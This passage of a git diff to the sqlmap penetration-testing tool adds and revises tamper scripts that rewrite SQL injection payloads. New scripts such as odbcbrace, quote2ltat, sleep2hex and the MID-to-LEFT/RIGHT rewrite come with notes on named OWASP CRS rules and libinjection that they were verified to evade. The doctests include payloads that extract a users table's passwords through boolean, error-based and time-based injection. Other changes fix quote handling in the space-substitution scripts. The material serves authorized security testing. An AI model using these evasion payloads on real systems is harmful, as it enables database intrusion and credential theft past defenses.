10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942151 (added in + CRS v4) blacklists a long list of SQL function names, MID, SUBSTR and SUBSTRING + among them, while LEFT and RIGHT are not on that list + * Verified against ModSecurity v3 with the OWASP CRS v4.25.0 (paranoia level 1, + blocking mode), where 'LEFT((SELECT pw FROM users LIMIT 1),1)=0x73' and + 'RIGHT(LEFT((SELECT pw FROM users LIMIT 1),3),1)=0x63' are both answered with + HTTP 200 and still work on all tested engines + * Note that ORD() and ASCII() are on that same blacklist, so payload shapes comparing + the extracted character directly (rather than its code point) are the ones helped + * Existing tamper script 'substring2leftright' does not apply here, as it only + rewrites the PostgreSQL 'SUBSTRING(A FROM B FOR C)' spelling + * Combine it with tamper script 'castprefix' to also clear rule 942360, e.g. + --tamper=mid2leftright,castprefix + + >>> tamper('MID(pw, 1, 1)') + 'RIGHT(LEFT(pw, 1), 1)' + >>> tamper('SUBSTRING(pw, 2, 3)') + 'RIGHT(LEFT(pw, 4), 3)' + >>> tamper('1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73') + '1 AND RIGHT(LEFT((SELECT pw FROM users LIMIT 1),1),1)=0x73' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + def _(match): + pos, length = match.group("pos").strip(), match.group("len").strip() + + if pos.isdigit() and length.isdigit(): + end = str(int(pos) + int(length) - 1) + else: + end = "%s+%s-1" % (pos, length) + + return "RIGHT(LEFT(%s,%s%s),%s%s)" % (match.group("expr"), match.group("sp1"), end, match.group("sp2"), length) + + return re.sub(r"(?i)\b(?:MID|SUBSTRING|SUBSTR)\(\s*(?P(?:[^()]|\([^()]*\))+?)\s*,(?P\s*)(?P[^,()]+),(?P\s*)(?P[^,()]+)\)", _, payload) if payload else payload diff --git a/tamper/mssqlnosemicolon.py b/tamper/mssqlnosemicolon.py new file mode 100644 index 00000000000..2ad5d88f03b --- /dev/null +++ b/tamper/mssqlnosemicolon.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MsSQL) statement separator ';' with a blank character + + Requirement: + * Microsoft SQL Server + + Notes: + * Useful to bypass filters/WAFs blocking the ';' character, as + Transact-SQL does not require any separator between statements + + >>> tamper(";WAITFOR DELAY '0:0:5'--") + " WAITFOR DELAY '0:0:5'--" + >>> tamper(";DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x") + ' DECLARE @x CHAR(9) SET @x=0x303a303a35 WAITFOR DELAY @x' + >>> tamper("1' AND 'a'='a") + "1' AND 'a'='a" + """ + + return re.sub(r";(?=\s*(?:WAITFOR|DECLARE|SET|EXEC(?:UTE)?|SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER|TRUNCATE|BEGIN|IF|WHILE|PRINT|USE|GRANT|REVOKE|BACKUP|RESTORE|RECONFIGURE|SHUTDOWN|WITH)\b)", ' ', payload, flags=re.I) if payload else payload diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index ab02a0c911c..07e56d2deee 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -21,6 +21,14 @@ def tamper(payload, **kwargs): """ Adds multiple spaces (' ') around SQL keywords + Tested against: + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai + Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions diff --git a/tamper/odbcbrace.py b/tamper/odbcbrace.py new file mode 100644 index 00000000000..d8653c52938 --- /dev/null +++ b/tamper/odbcbrace.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Prepends a (MySQL) ODBC escape sequence to a numeric payload (e.g. -1 UNION ... -> {x !0}*-1 UNION ...) + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.46, 8.4.9 + * MariaDB 10.7.8, 10.11.14, 11.8.8 + + Notes: + * Useful to bypass web application firewalls using libinjection (e.g. ModSecurity with + the OWASP CRS), still effective against libinjection 4.0.0 + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where it takes the boolean-based and error-based payloads down to 0 anomaly points + and they are answered with HTTP 200, on all of MySQL 5.5-9.4, Percona and + MariaDB 10.7-12.0, e.g. + {x !0}*1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73 + {x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1))) + Time-based payloads are not helped, as SLEEP() is matched by a separate rule + * MySQL accepts the undocumented ODBC escape sequence '{ }' as a plain + expression anywhere an expression is allowed, discarding the identifier, hence + '{x !0}' is simply 1 and '{x !0}*' preserves the original numeric value + * libinjection folds away a left brace followed by a bareword ("weird ODBC / MYSQL + {foo expr} --> expr") and restarts folding, so the fingerprint of the remaining + payload no longer matches its database and the whole payload is rated benign + * The inner expression has to start with an unary operator, as '{x 1}' is still being + detected, while '{x !0}' is not + * The brace has to lead the payload, hence only payloads starting with a number are + being processed (i.e. numeric injection points), while payloads starting with a + quote character are deliberately left untouched, as those are still being detected + * Against ModSecurity with the OWASP CRS this additionally clears rule 942360 + '^[\\W\\d]+\\s*?', as the leading '{' is followed by a word character. + Combine it with tamper script 'uniontable' (which clears 942270) to get a UNION + payload through: --tamper=uniontable,odbcbrace + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '{x !0}*-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -' + >>> tamper('1 AND 5=5') + '{x !0}*1 AND 5=5' + >>> tamper('1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))') + '{x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))' + >>> tamper('-4162 OR 1=1#') + '{x !0}*-4162 OR 1=1#' + >>> tamper("' UNION ALL SELECT NULL-- -") + "' UNION ALL SELECT NULL-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"{x !0}*\g", payload) if payload else payload diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py new file mode 100644 index 00000000000..6b0416357d9 --- /dev/null +++ b/tamper/oraclequote.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]') + + Requirement: + * Oracle 10g+ + + Tested against: + * Oracle 11g, 12c, 18c, 19c, 21c, 23ai + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: q-quoting delimits the literal with a chosen bracket/char + so the inner text needs no quote at all + * The first delimiter whose characters are absent from the literal is + used; a literal that contains every candidate delimiter is left untouched + + >>> tamper("SELECT 'abc' FROM DUAL") + "SELECT q'[abc]' FROM DUAL" + """ + + def _quote(match): + value = match.group(1) + for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")): + if start not in value and end not in value: + return "q'%s%s%s'" % (start, value, end) + return match.group(0) + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", _quote, payload) + + return retVal diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 75bd678e775..8246ed516c1 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -38,7 +38,12 @@ def tamper(payload, **kwargs): i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): - retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + ordinal = ord(payload[i]) + if ordinal <= 0x7FF: + retVal += "%%%.2X%%%.2X" % (0xc0 + (ordinal >> 6), 0x80 + (ordinal & 0x3f)) + else: + # the 2-byte overlong form can't hold code points > U+07FF; fall back to real UTF-8 + retVal += "".join("%%%.2X" % _ for _ in bytearray(payload[i].encode("utf8"))) else: retVal += payload[i] i += 1 diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 391464f6ef7..c8ad07d313d 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -37,7 +37,12 @@ def tamper(payload, **kwargs): retVal += payload[i:i + 3] i += 3 else: - retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + ordinal = ord(payload[i]) + if ordinal <= 0x7FF: + retVal += "%%%.2X%%%.2X" % (0xc0 + (ordinal >> 6), 0x80 + (ordinal & 0x3f)) + else: + # the 2-byte overlong form can't hold code points > U+07FF; fall back to real UTF-8 + retVal += "".join("%%%.2X" % _ for _ in bytearray(payload[i].encode("utf8"))) i += 1 return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 4f4da1f6186..6230e2fa57d 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -11,7 +11,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ + retVal = payload + if payload: retVal = "" i = 0 diff --git a/tamper/quote2ltat.py b/tamper/quote2ltat.py new file mode 100644 index 00000000000..d503b912da1 --- /dev/null +++ b/tamper/quote2ltat.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Adds '<@' right after a leading single quote followed by OR (e.g. ' OR 1=1-- - -> '<@ OR 1=1-- -) + + Requirement: + * MySQL + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls in single-quoted injection points. For + those, the only OWASP CRS rule that fires on a plain tautology is 942100 (i.e. + libinjection), and libinjection does not model the '<@' sequence, so the resulting + payload is rated benign + * Verified against ModSecurity v3 with the OWASP CRS 3.3.10, ModSecurity v2 with the + OWASP CRS 4.25.0 and Coraza with the CRS development branch (v4.29.0), all of them + answering with HTTP 200 + * MySQL lexes the '@' as an (empty) user variable, hence ''<@ evaluates to NULL and the + following OR still decides the predicate, e.g. "name=''<@ OR 1=1-- -" is a tautology + * Only payloads where the quote is followed by OR (or ||) are processed, as NULL AND + is NULL and would silently break AND based payloads + * MariaDB rejects the sequence, hence MySQL and Percona only + + >>> tamper("' OR 1=1-- -") + "'<@ OR 1=1-- -" + >>> tamper("' OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -") + "'<@ OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -" + >>> tamper("' AND 1=1-- -") + "' AND 1=1-- -" + >>> tamper('-1 OR 1=1-- -') + '-1 OR 1=1-- -' + """ + + return re.sub(r"(?i)\A'\s*(?=(?:OR|\|\|)\b)", "'<@ ", payload) if payload else payload diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 24cf7876ff7..6d6fac6260e 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -22,16 +22,17 @@ def tamper(payload, **kwargs): Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 - * SQLite 3 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases + * Keyword case is insignificant on every engine listed above >>> import random >>> random.seed(0) @@ -61,6 +62,6 @@ def tamper(payload, **kwargs): if len(_) > 1 and _ not in (_.lower(), _.upper()): break - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index a4a185f79ad..5e25d073212 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -45,6 +45,6 @@ def tamper(payload, **kwargs): index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/sign.py b/tamper/sign.py new file mode 100644 index 00000000000..33e6593ec05 --- /dev/null +++ b/tamper/sign.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1) + + Tested against: + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai + + Notes: + * Useful to bypass filtering of comparison operators altogether (>, <, + >=, <=), as SIGN() needs none of them - only subtraction and '='. + sqlmap's blind inference always compares a numeric ordinal against an + integer literal, so SIGN((A)-(B))=1 is an exact equivalent of A>B + there (no NULL/decimal/date/collation/overflow concerns in that domain) + + >>> tamper('1 AND A > B') + '1 AND SIGN((A)-(B))=1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^><]+?)\s*(?!])>(?!=)\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sSIGN((%s)-(%s))=1" % (match.group(1), match.group(3), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/sleep2hex.py b/tamper/sleep2hex.py new file mode 100644 index 00000000000..7a895ff629e --- /dev/null +++ b/tamper/sleep2hex.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'SLEEP(5)' with 'SLEEP(0x5)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942160 + '(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?\\,.*?\\))' only matches a run of plain + decimal digits between the parentheses, while MySQL happily accepts a hexadecimal + literal there + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where 'SLEEP(3)' scores 5 anomaly points and is blocked, while 'SLEEP(0x3)' scores 0 + and is answered with HTTP 200, the delay still being applied on all tested engines + * Combine it with tamper script 'odbcbrace' to also clear rule 942100 (libinjection), + e.g. --tamper=sleep2hex,odbcbrace + * 'SLEEP(5.0)' works just as well, for the same reason + + >>> tamper('1 AND SLEEP(5)') + '1 AND SLEEP(0x5)' + >>> tamper('1 AND (SELECT SLEEP( 12 ))') + '1 AND (SELECT SLEEP(0xc))' + >>> tamper('1 AND SLEEP(0)') + '1 AND SLEEP(0x0)' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + return re.sub(r"(?i)\bSLEEP\(\s*(\d+)\s*\)", lambda match: "SLEEP(%s)" % hex(int(match.group(1))), payload) if payload else payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 4efcc1c98e8..95ec9dc489e 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -7,7 +7,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.HIGH +__priority__ = PRIORITY.LOWEST def tamper(payload, **kwargs): """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 818e118526e..7026bbe9a36 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -18,10 +18,12 @@ def tamper(payload, **kwargs): Replaces space character (' ') with comments '/**/' Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls @@ -43,10 +45,10 @@ def tamper(payload, **kwargs): retVal += "/**/" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2dash.py b/tamper/space2dash.py index b865e60fcf3..88ccea33d6e 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -34,13 +34,23 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "--%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "--%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 4a8d6916dc2..cf7ac3323da 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -42,13 +42,23 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index df823e70660..f309ea58d24 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -18,10 +18,17 @@ def tamper(payload, **kwargs): Replaces (MySQL) instances of space character (' ') with comments '/**_**/' Tested against: - * MySQL 5.0 and 5.5 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls + * Despite the script's name, '/**_**/' is a valid comment on every engine + listed above, not just MySQL >>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users' @@ -40,10 +47,10 @@ def tamper(payload, **kwargs): retVal += "/**_**/" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index d6365f9b77f..a079a2ecedd 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -54,15 +54,25 @@ def process(match): retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", process, payload) + payload = re.sub(r"(?:^|(?<=\W))(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, payload) + + quote, doublequote = False, False for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 0413f447413..1754e630b09 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -67,10 +67,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 49ac43a0a51..880fdb8f954 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -15,11 +15,12 @@ def tamper(payload, **kwargs): Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: - * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls + * The '#' single-line comment used here is MySQL-only (despite this script's legacy name); + T-SQL has no '#' comment, so it does not apply to Microsoft SQL Server >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' @@ -28,12 +29,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "%23%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "%23%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index a0891989ca6..ec5b7ffe5dc 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -57,10 +57,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index e5fb85aafab..40023493212 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -35,12 +35,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "--%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "--%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2plus.py b/tamper/space2plus.py index a6ec73fc093..1856b7718f0 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -38,10 +38,10 @@ def tamper(payload, **kwargs): retVal += "+" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index cbf162ffcd9..ac86ffc4762 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -52,10 +52,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index c7588aeb02a..b255baeb163 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.HIGHEST def dependencies(): pass diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 16e4ab7d477..ab60ecaf262 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +import re + from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -16,8 +18,16 @@ def tamper(payload, **kwargs): """ Replaces instances of UNION ALL SELECT with UNION SELECT counterpart + Tested against: + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai + >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ - return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload + return re.sub(r"(?i)UNION\s+ALL\s+SELECT", "UNION SELECT", payload) if payload else payload diff --git a/tamper/uniontable.py b/tamper/uniontable.py new file mode 100644 index 00000000000..d52b6f80d4e --- /dev/null +++ b/tamper/uniontable.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT * FROM with the (MySQL) explicit table statement UNION TABLE
